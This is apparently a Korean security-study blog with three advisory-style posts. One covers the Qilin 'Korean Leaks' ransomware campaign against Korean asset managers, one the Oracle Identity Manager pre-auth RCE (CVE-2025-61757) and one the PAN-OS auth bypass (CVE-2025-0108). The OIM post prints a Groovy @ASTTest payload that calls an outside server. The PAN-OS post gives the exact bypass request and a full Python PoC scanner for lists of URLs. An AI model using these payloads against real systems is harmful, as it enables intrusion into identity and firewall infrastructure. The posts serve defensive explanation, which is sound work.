꼰머의 보안공부

보안뉴스

보안뉴스

1. 개요

- Bitdefender, 한국 금융 서비스 업계를 주요 타깃으로 한 대규모 위협 “Korean Leaks 캠페인” 발표 [1]
- RaaS(Ransomware-as-a-Service) 그룹 Qilin과 북한 연계 APT 그룹 Moonstone Sleet이 협업
- MSP(Managed Service Provider, 관리 서비스 제공업체)를 초기 침입 경로로 활용해 33개의 기업이 피해(피해 업체 중 대부분이 금융서비스 업체)
- 이번 사건을 계기로 MSP를 ‘신뢰된 내부자’로 간주하는 관행을 재검토해야 한다고 강조

2. 주요내용

2.1 한국 내 비정상적인 랜섬웨어 급증

- 24.09 ~ 25.08 랜섬웨어 피해자 수는 월 평균 약 2건 수준이었으나, 25.09 피해자 건수는 25건으로 급증

> 초기 분석 결과, 25.09에 확인된 피해는 모두 Qilin 랜섬웨어에 의한 것으로 확인

※ 1건의 건설 회사를 제외한 24건 모두 금융서비스(특히 자산운용사)

2.2 Qilin & Moonstone Sleet

- Qilin 랜섬웨어 그룹은 최근 몇 달 동안 RaaS 통계에서 최상위권을 유지해온 조직
> 다크웹 전용 유출 사이트(DLS, Dedicated Leak Site)에 데이터 공개 및 데이터 몸값을 요구
> 주요 운영팀은 브랜드, 랜섬웨어 빌드, 인프라, 협상용 텍스트를 제공하고, 실제 침투·내부 장악·배포는 다른 조직이 수행하는 “긱 이코노미형 RaaS” 형태로 운영
> 수익의 80~85%는 실제 공격조직이 가져가고, 운영팀은 15~20%만 가져가는 구조

※ CIS(독립국가연합) 국가를 공격하지 않는 규칙, 러시아어 포럼 활동, 운영진 일부가 러시아어와 영어를 사용하는 등 러시아에 기반한 랜섬웨어 그룹으로 보임

- Qilin은 2025년 초 북한 연계 APT 그룹 Moonstone Sleet과 협업을 시작
> Moonstone Sleet는 MS가 2024년 규명한 북한 위협 그룹 [3]
> 국가 연계 APT 그룹과 범죄 RaaS의 협업이라는 새로운 위협 양상을 시사

2.3 Korean Leaks 캠페인

- Korean Leaks 캠페인은 총 세 차례에 걸쳐 진행되었으며, 유출된 정보의 대부분은 25.09 공개
> 총 33곳의 피해자 중 28곳은 현재 공개 상태이며, 거의 대부분 한국 금융사, 특히 자산운용사를 공격 대상으로 삼음
> DLS에 유출된 데이터는 최소 100만 개 이상의 파일과 약 2TB에 달하며, 피해자의 메타데이터가 누락된 점을 고려하면 피해 규모는 훨씬 클 가능성 존재

2.3.1 1차 유출

- 25.09.14 10개 금융관리·자산운용사 공개
> 한국 기업들의 방대한 데이터에 접근을 확보했다는 식으로 대규모 추가 유출 예고

2.3.2 2차 유출

- 25.09.17 ~ 25.09.19 추가 피해자 9곳 공개
> 한국 금융시장과 투자자 전반을 겁주는 전략 및 규제 당국에 조사 요구

2.3.3 3차 유출

- 25.09.28 ~ 25.10.04 마지막 9곳 공개
> 2차 유출의 공격적인 요구에서 개별 피해 기업을 향한 전통적인 금전 갈취 문구로 전환

2.3.4 기타

- 25.10.22 DLS에 금융·자산운용사 프로필을 가진 새로운 피해자 1TB 이상의 데이터 공개
> ‘Korean Leaks’라는 이름은 더 이상 사용되지 않았고 게시물도 하루 만에 삭제

2.4 Root Cause

- 캠페인은 기업들이 개별적으로 노려진 것이 아닌 하나의 공통 약점을 통해 피해가 발생

2.5 결론 및 권고 사항

- 해당 캠페인을 촉발한 MSP 침해는 사이버 보안 논의에서 거의 다뤄지지 않음
> 주로 SW공급망과 트로이화된 업데이트에 초점을 맞추는 경향이 있으나 이는 아직 통계적으로 드문 형태
> 여러 기업 접근 권한을 가진 벤더·계약업체·MSP를 직접 해킹하는 방식이 훨씬 흔하고 실용적인 전략

> 하나의 통제 수단이 실패하여도 후속 통제 수단이 피해를 감지·차단·제한할 수 있도록 다층적인 방어 체계 구축이 필요

3. 참고

[1] https://www.bitdefender.com/en-us/blog/businessinsights/korean-leaks-campaign-targets-south-korean-financial-services-qilin-ransomware
[2] https://www.dailysecu.com/news/articleView.html?idxno=202815
[3] https://thehackernews.com/2024/05/microsoft-uncovers-moonstone-sleet-new.html
[4] https://koreajoongangdaily.joins.com/news/2025-09-23/business/finance/More-than-20-management-companies-may-have-suffered-data-breaches-after-a-ransomware-attack/2406352

보안뉴스

1. Oracle Identity Manager (OIM)

- 사내 또는 클라우드 애플리케이션에 셀프 서비스, 규정 준수, 프로비저닝 및 비밀번호 관리 서비스를 제공하는 거버넌스 솔루션
- 고객, 비즈니스 파트너, 직원의 ID와 액세스 권한을 단일 플랫폼에서 모두 관리할 수 있음 [1]

2. 취약점

- REST API의 인증 우회 취약점으로 인해 원격 코드 실행이 가능한 취약점 (CVSS: 9.8)

> 해당 시스템이 공격자에게 장악될 경우 관리자 권한 생성, 사용자 권한 탈취, 인증 절차 조작, 내부 시스템 접근 토큰 획득, AD·ERP 연계 시스템 침투 등 조직 중심부까지 침해 확산

> 오라클이 취약점을 패치하기 훨씬 전부터 취약점을 대상으로한 공격 시도가 존재하여 신속한 패치 적용 권고

영향받는 버전
- Oracle Identity Manager 12.2.1.4.0, 14.1.2.1.0

2.1 인증 우회

- 애플리케이션은 web.xml에 등록된 단일 SecurityFilter로 모든 REST 경로의 인증을 제어하도록 구성되어 있음 [3]

> URL에 WSLD 매개변수가 포함되어 있거나 .wadl 문자열이 포함된 경우 인증을 우회할 수 있음

  private static final Pattern WADL_PATTERN = Pattern.compile("\.[wW][aA][dD][lL](.)*\z");

    public void doFilter(ServletRequest request, ServletResponse response, final FilterChain chain) throws IOException, ServletException {
        LOGGER.entering(CLASSNAME, "doFilter", new Object[]{request, response, chain});
        final HttpServletRequest httpRequest = (HttpServletRequest)request;
        HttpServletResponse httpResponse = (HttpServletResponse)response;
        WsmHttpResponseWrapper httpResponseWrapped = new WsmHttpResponseWrapper((HttpServletResponse)response);
        if (httpRequest.getQueryString() != null
            && httpRequest.getQueryString().trim().equalsIgnoreCase("WSDL")
            || WADL_PATTERN.matcher(httpRequest.getRequestURI().trim()).find()) {
            chain.doFilter((ServletRequest)httpRequest, (ServletResponse)httpResponse);
        } else {
            // ... check auth ...
        }
    }

2.2 원격 코드 실행

- 엔드포인트 목록 중 groovyscriptstatus 엔드포인트는 Groovy 코드의 구문 검사를 수행함

> Groovy 스크립트를 컴파일하지만 실행하지 않는 엔드포인트

    @POST
    @Consumes(value={"application/json"})
    @Path(value="/applications/groovyscriptstatus")
    public Response compileScript(String script) throws Exception {
        ApplicationRestLogger.LOGGER.entering(ApplicationrestServiceController.class.getName(), "compileScript(String)", new Object[]{script});
        try {
            ApplicationrestServiceImpl.compileScript(script);
        }
        catch (Exception e) {
            ApplicationRestLogger.LOGGER.log(Level.SEVERE, null, e);
            return Response.status((int)500).entity((Object)e.getMessage()).type("text/plain").build();
        }
        ApplicationRestLogger.LOGGER.exiting(ApplicationrestServiceController.class.getName(), "compileScript(String)");
        return Response.status((Response.Status)Response.Status.OK).entity((Object)"Script Compilation Successful").type("text/plain").build();
    }

- Groovy는 Java를 기반으로 구축되었기 때문에, 자바의 애너테이션을 적용할 수 있음

> 따라서, @ASTTest 애너테이션을 사용하여 컴파일 단계에서 특정 Groovy 코드를 실행할 수 있음

※ Groovy AST Transformation은 컴파일 시점 실행 허용

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            def connection = new URL("https://our.outbound.server").openConnection()
            connection.setRequestMethod("GET")
            def response = connection.getInputStream().getText()
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()

3. 대응방안

- 벤더사 제공 업데이트 적용 [4]

- POST 요청에서 *.wadl, @ASTTest 등의 문자열 탐지 정책 적용

4. 참고

[1] https://docs.oracle.com/cd/E52734_01/oim/OMADM/overview.htm#OMADM5632
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-61757
[3] https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/
[4] https://www.oracle.com/security-alerts/cpuoct2025.html#AppendixFMW
[5] https://www.bleepingcomputer.com/news/security/cisa-warns-oracle-identity-manager-rce-flaw-is-being-actively-exploited/
[6] https://thehackernews.com/2025/11/cisa-warns-of-actively-exploited.html
[7] https://www.dailysecu.com/news/articleView.html?idxno=202697
[8] https://www.jeonguknews.co.kr/news/articleView.html?idxno=79996

보안뉴스

보안뉴스

1. CVE-2025-0108

- Nginx → Apache → PHP로 이어지는 인증 처리 과정에서 발생하는 Path Confusion 문제를 악용한 인증 우회 취약점

영향받는 버전
PAN-OS
- 11.2.0 이상 ~ 11.2.4-h4 미만
- 11.1.0 이상 ~ 11.1.6-h1 미만
- 11.1.2 이상 ~ 11.1.2-h18 미만
- 10.2.7 이상 ~ 10.2.7-h24 미만
- 10.2.8 이상 ~ 10.2.8-h21 미만
- 10.2.9 이상 ~ 10.2.9-h21 미만
- 10.2.10 이상 ~ 10.2.10-h14 미만
- 10.2.11 이상 ~ 10.2.11-h12 미만
- 10.2.12 이상 ~ 10.2.12-h6 미만
- 10.2.13 이상 ~ 10.2.13-h3 미만
- 10.1.0 이상 ~ 10.1.14-h9 미만

2.주요내용

- PAN-OS의 관리 인터페이스는 다음과 같은 방식으로 웹 요청을 처리 [2]

1. Nginx 단계

- 클라이언트의 요청을 수신하여 인증이 필요한지 여부 결정

> 특정 경로(/unauth/)가 포함된 경우 인증이 필요 없는 것으로 처리하며, X-pan-AuthCheck 헤더를 off로 설정

if ($uri ~ ^\/unauth\/.+$) {
  set $panAuthCheck 'off';
}

if ($uri = /php/logout.php) {
  set $panAuthCheck 'off';
}

# ...

2. Apache 단계

- 전달된 요청을 다시 처리하고, mod_rewrite를 통해 특정 경로를 재작성

> 경로를 해석하고 내부 리디렉션을 수행하는 과정에서 URL을 한 번 더 디코딩

<Location "/">
    # Turns off DirectorySlash as it uses input host in redirect thus a vulnerability.
    # Have not found a way to fix that.
    DirectorySlash off
    RewriteEngine on
    RewriteRule ^(.*)(\/PAN_help\/)(.*)\.(css|js|html|htm)$ $1$2$3.$4.gz [QSA,L]
    AddEncoding gzip .gz

    Options Indexes FollowSymLinks
    Require all granted
</Location>

3. PHP 단계

- 전달된 요청의 헤더를 기반으로 인증 여부 판단 및 요청 처리

> X-pan-AuthCheck: off 상태일 경우, 인증이 불필요한 것으로 간주

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    // ... check authentication ...
}

2.1 Apache의 경로 재해석 문제

- Apache는 RewriteRule을 처리할 때 내부 리디렉션을 수행하는데, 이 과정에서 URL이 다시 한 번 디코딩

> 이중 디코딩 문제를 활용해 공격자는 인증 우회를 시도할 수 있음

- 공격자는 다음과 같은 요청을 통해 인증을 우회할 수 있음

GET /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css HTTP/1.1
Host: my.testing.environment
Connection: close

① Nginx 단계

   ⒜ %252e%252e는 첫 번째 URL 디코딩에서 %2e%2e로 변환

   ⒝ URL에 "/unauth/" 경로가 포함되어 있어 X-pan-AuthCheck: off가 설정

   ⒞ 전체 URL "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"을 Apache로 전달

② Apache 단계

   ⒜ %252e%252e는 디코딩되어 %2e%2e로 변환

   ⒝ RewriteRule과 일치하므로 URL 재작성 되고, %2e%2e가 다시 디코딩

   ⒞ URL  /php/ztp_gate.php/PAN_help/x.css.gz를 mod_php를 통해 PHP에 전달

③ PHP 단계

   ⒜ /php/ztp_gate.php로 전달된 요청이 X-pan-AuthCheck: off 상태이므로 인증 없이 실행

3. PoC

- /unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css URL로 GET 요청 전송 [3]

import requests
import argparse
from urllib.parse import urljoin
import ssl
import logging

# Disable SSL warnings
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

# Logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', handlers=[
    logging.StreamHandler(), 
    logging.FileHandler("scan_results.log")
])

def read_file(file_path):
    """Read URLs from a file and return them as a list."""
    try:
        with open(file_path, 'r') as file:
            return file.read().splitlines()
    except Exception as e:
        logging.error(f"Error reading file {file_path}: {e}")
        return []

def check_vulnerability(url):
    """
    Check if the given URL is vulnerable to CVE-2025-0108.
    A vulnerable site should return 'Zero Touch Provisioning' in the response.
    """
    protocols = ['http://', 'https://']
    target_path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css"

    for protocol in protocols:
        target_url = urljoin(protocol + url.lstrip('http://').lstrip('https://'), target_path)
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) Gecko/20100101 Firefox/72.0"
        }

        try:
            response = requests.get(target_url, verify=False, headers=headers, timeout=10)
            if response.status_code == 200 and 'Zero Touch Provisioning' in response.text:
                message = f"Vulnerable: {url} - CVE-2025-0108 Vulnerability (Authentication Bypass)!"
                logging.info(message)
                return True
            else:
                logging.debug(f"Not vulnerable: {url} - Response code: {response.status_code}")
        except requests.exceptions.RequestException as e:
            logging.warning(f"Error connecting to {url}: {e}")

    return False

if __name__ == "__main__":
    
    parser = argparse.ArgumentParser(description="Check for CVE-2025-0108 vulnerability (Authentication Bypass).")
    parser.add_argument("-u", "--url", help="Single URL to check")
    parser.add_argument("-f", "--file", help="File containing a list of URLs to check")
    
    args = parser.parse_args()
    url = args.url
    file = args.file

    if url:
        check_vulnerability(url)
    elif file:
        urls = read_file(file)
        if urls:
            for u in urls:
                check_vulnerability(u)
        else:
            logging.error("No URLs found in the file.")
    else:
        logging.error("Please provide a URL or a file containing URLs to check.")
        logging.info("Usage: python CVE_2025_0108_V1.py -u <URL> or python CVE_2025_0108_V1.py -f <file_with_urls>")

    # About
    logging.info("\nAuthor: Sohaib E.B. - sohaib.eu")

4. 대응방안

- 벤더사 제공 업데이트 적용 [4][5][6]

※ PAN-OS 11.0 버전은 24.11.17 지원 종료되어 업데이트 계획 없음

5. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-0108
[2] https://www.assetnote.io/resources/research/nginx-apache-path-confusion-to-auth-bypass-in-pan-os
[3] https://github.com/sohaibeb/CVE-2025-0108
[4] https://security.paloaltonetworks.com/CVE-2025-0108
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&nttId=71664&menuNo=205020
[6] https://asec.ahnlab.com/ko/86384/
[7] https://www.bleepingcomputer.com/news/security/hackers-exploit-authentication-bypass-in-palo-alto-networks-pan-os/
[8] https://hackyboiz.github.io/2025/04/03/clalxk/CVE-2025-0108/